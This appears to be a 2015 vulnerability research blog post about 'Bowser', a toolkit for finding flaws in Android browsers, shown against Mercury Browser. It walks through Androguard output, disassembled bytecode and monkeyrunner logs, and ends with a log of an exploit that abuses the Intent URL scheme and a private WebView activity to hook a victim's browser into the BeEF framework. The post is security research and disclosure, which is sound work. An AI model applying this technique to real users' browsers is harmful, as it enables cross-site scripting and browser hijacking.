Beating Down Android Browsers with Bowser


Overview

(!) UPDATE - Bowser has be integrated into Lobotomy (!)

When it comes to the vulnerability discovery process within Android Web Browsers, I have developed a toolkit called Bowser that will help in ALMOST complete automation.

Bowser currently targets vulnerability classes:

In this post we will be targeting the current version of Mercury Browser for Android.

Stay Sick

After downloading the APK, we can run it through a wrapper for Androguard. This will search the entire APK for the methods -> parseUri() - loadUrl() - addJavascriptInterface()

The search for loadUrl() is important because if the browser is vulnerable to an insecure implementation of the Intent URL Scheme, then we need to find all the activities that could potentially call loadUrl() with a URL string we can send to the Activity through an Extra.

[2015-05-25 17:23:02.985228] Androguard imported successfully!
[2015-05-25 17:23:02.988177] Performing analysis ...
[2015-05-25 17:23:50.953585] Analysis successful!
[2015-05-25 17:23:50.953638] Searching for parseUri implementation ...
[2015-05-25 17:24:05.148149] Found parseUri() implementation! ...
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x260) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x294) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x31c) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
[2015-05-25 17:24:05.148323] Searching for loadUrl...
[2015-05-25 17:24:05.160525] Found loadUrl() implementation! ...
1 Lcom/b/a/l;->onCreate(Landroid/os/Bundle;)V (0x72) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/clouddrive/box/k;->a(Ljava/lang/String; Ljava/lang/String;)V (0x1e) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/activities/reading/v;->b(Ljava/lang/String;)V (0x90) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/activities/settings/v;->onViewCreated(Landroid/view/View; Landroid/os/Bundle;)V (0x6c) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/CustomWebView;->loadUrl(Ljava/lang/String;)V (0x10) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->onPageFinished(Landroid/webkit/WebView; Ljava/lang/String;)V (0x60) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x226) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/b;->a(Landroid/webkit/WebView;)V (0x1a) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/b;->b(Landroid/webkit/WebView;)V (0x8) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/f/l$2;->run()V (0x18) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/mercury/utils/f/v;->a(Landroid/webkit/WebView; Lcom/ilegendsoft/mercury/utils/f/w; Ljava/lang/String;)Z (0x2e) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  
1 Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->onCreate(Landroid/os/Bundle;)V (0x76) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  

So immediately without performing any type of reverse engineering we know that the Mercury Browser implements the parseUri() method:

1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x260) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x294) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  
1 Lcom/ilegendsoft/mercury/ui/widget/webview/g;->shouldOverrideUrlLoading(Landroid/webkit/WebView; Ljava/lang/String;)Z (0x31c) ---> Landroid/content/Intent;->parseUri(Ljava/lang/String; I)Landroid/content/Intent;  

From a 'this is probably fucked' perspective, the method is also being called within shouldOverrideUrlLoading. If we look at the XREF(S), there isn't anything that immediately stands out, but I don't necessarily want to reverse out the flow from an Activity to this method - cause fuck that shit that's why.

Bowser's main functionality is the ability to leverage monkeyrunner by firing up browsers and pointing them to designated REST endpoints designed to serve up exploits and dynamically test URL scheme implementations. Bowser also uses Mobile Substrate and instruments all calls to parseUri() - which also allows us the ability to perform additional dynamic detection.

First we need to install our target browser:

[~/Research/android-web-browsers/mercury/apk]> adb install com.ilegendsoft.mercury.apk
5174 KB/s (23952599 bytes in 4.520s)  
    pkg: /data/local/tmp/com.ilegendsoft.mercury.apk
Success  

Adjusting Bowser to point at a new browser is effortless with a few minimal changes to a Enum structure. Now we can kick Mercury off and load up a REST endpoint meant to generate a empty Intent object through the Intent URL scheme:

└[~/Development/python/bowser]> monkeyrunner bowser.py mercury check
[2015-05-25 18:04:39.161999] MonkeyRunner and MonkeyDevice Import Success
[2015-05-25 18:04:39.168999] Target Browser: mercury
[2015-05-25 18:04:39.168999] Target Component: com.ilegendsoft.mercury/com.ilegendsoft.mercury.ui.activities.MainActivity
[2015-05-25 18:04:41.249000] Device Successfully Connected
[2015-05-25 18:04:41.250000] Launching Component com.ilegendsoft.mercury/com.ilegendsoft.mercury.ui.activities.MainActivity
[2015-05-25 18:04:41.904000} Returned Successfully
[2015-05-25 18:04:41.904999] Running Bowser!
10.174.90.159 - - [25/May/2015 18:03:41] "GET /intent HTTP/1.1" 200 -  
D/Hooker  (17056): Class Loaded!  
D/Hooker  (17056): Method Hooked!  
D/Hooker  (17056): http://10.174.90.106:5000/intent  
D/Hooker  (17056): android.intent.action.VIEW  

So by all accounts it looks like have a vulnerable implementation of parseUri(). Now we need to figure out if we can coax a non-exported Activity into building a UXSS / XAS context for us through this vector. Now if you remember, we have already located all instances of calls to loadUrl(). We can check to see if any of those calls exist within an Activity:

1 Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->onCreate(Landroid/os/Bundle;)V (0x76) ---> Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V  

The SimpleWebViewActivity appears to be a private component:

<activity android:name="com.ilegendsoft.social.common.SimpleWebViewActivity" android:screenOrientation="portrait" android:theme="@android:style/Theme.Translucent.NoTitleBar"/>  

It looks like we are on the right track! Let's open up this component and figure out whether or not we can dump a URL string inside an Intent extra, which will be passed to the loadUrl() call:

n [4]: d.CLASS_Lcom_ilegendsoft_social_common_SimpleWebViewActivity.METHOD_onCreate.pretty_show()  
########## Method Information
Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->onCreate(Landroid/os/Bundle;)V [access_flags=protected]  
########## Params
- local registers: v0...v3
- v4: android.os.Bundle
- return: void
####################
***************************************************************************
[email protected] :  
    0  (00000000) invoke-super        v3, v4, Lcom/ilegendsoft/social/common/a;->onCreate(Landroid/os/Bundle;)V
    1  (00000006) sget                v0, Lcom/ilegendsoft/social/c;->activity_auth I
    2  (0000000a) invoke-virtual      v3, v0, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->setContentView(I)V
    3  (00000010) invoke-direct       v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->d()V
    4  (00000016) invoke-virtual      v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->getIntent()Landroid/content/Intent;
    5  (0000001c) move-result-object  v0
    6  (0000001e) const-string        v1, 'data_1'
    7  (00000022) invoke-virtual      v0, v1, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    8  (00000028) move-result-object  v1
    9  (0000002a) iput-object         v1, v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->c Ljava/lang/String;
    10 (0000002e) const-string        v1, 'data_2'
    11 (00000032) invoke-virtual      v0, v1, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    12 (00000038) move-result-object  v1
    13 (0000003a) iput-object         v1, v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->d Ljava/lang/String;
    14 (0000003e) const-string        v1, 'data_3'
    15 (00000042) invoke-virtual      v0, v1, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    16 (00000048) move-result-object  v1
    17 (0000004a) iput-object         v1, v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->e Ljava/lang/String;
    18 (0000004e) const-string        v1, 'callback'
    19 (00000052) invoke-virtual      v0, v1, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    20 (00000058) move-result-object  v0
    21 (0000005a) iput-object         v0, v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->f Ljava/lang/String;
    22 (0000005e) iget-object         v0, v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->a Landroid/webkit/WebView;
    23 (00000062) invoke-virtual      v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->getIntent()Landroid/content/Intent;
    24 (00000068) move-result-object  v1
    25 (0000006a) const-string        v2, 'load'
    26 (0000006e) invoke-virtual      v1, v2, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
    27 (00000074) move-result-object  v1
    28 (00000076) invoke-virtual      v0, v1, Landroid/webkit/WebView;->loadUrl(Ljava/lang/String;)V
    29 (0000007c) invoke-virtual      v3, Lcom/ilegendsoft/social/common/SimpleWebViewActivity;->a()V
    30 (00000082) return-void

Sure enough we have exactly what we need in this Activity for exploitation -> There is a call to getStringExtra() with the key "load", which is passed directly into loadUrl()

Our final working exploit is using this vulnerability to hook a victim's browser with BeEF

[~/Development/python/bowser]> monkeyrunner bowser.py mercury nocheck
[2015-05-25 18:29:51.928999] MonkeyRunner and MonkeyDevice Import Success
[2015-05-25 18:29:51.936000] Target Browser: mercury
[2015-05-25 18:29:51.937000] Target Component: com.ilegendsoft.mercury/com.ilegendsoft.mercury.ui.activities.MainActivity
[2015-05-25 18:29:53.993999] Device Successfully Connected
[2015-05-25 18:29:53.994999] Launching Component com.ilegendsoft.mercury/com.ilegendsoft.mercury.ui.activities.MainActivity
[2015-05-25 18:29:54.648000} Returned Successfully
[2015-05-25 18:29:54.648000] Running Bowser!
10.174.90.159 - - [25/May/2015 18:29:56] "GET /mercury HTTP/1.1" 200  
10.174.90.159 - - [25/May/2015 18:29:56] "GET /xss HTTP/1.1" 200  
BeEF > [18:30:04][>] [INIT] Processing Browser Details...  
[18:30:04][>] Event: 10.174.90.159 just joined the horde from the domain: Unknown:0
[18:30:05][>] [INIT] Processing Browser Details...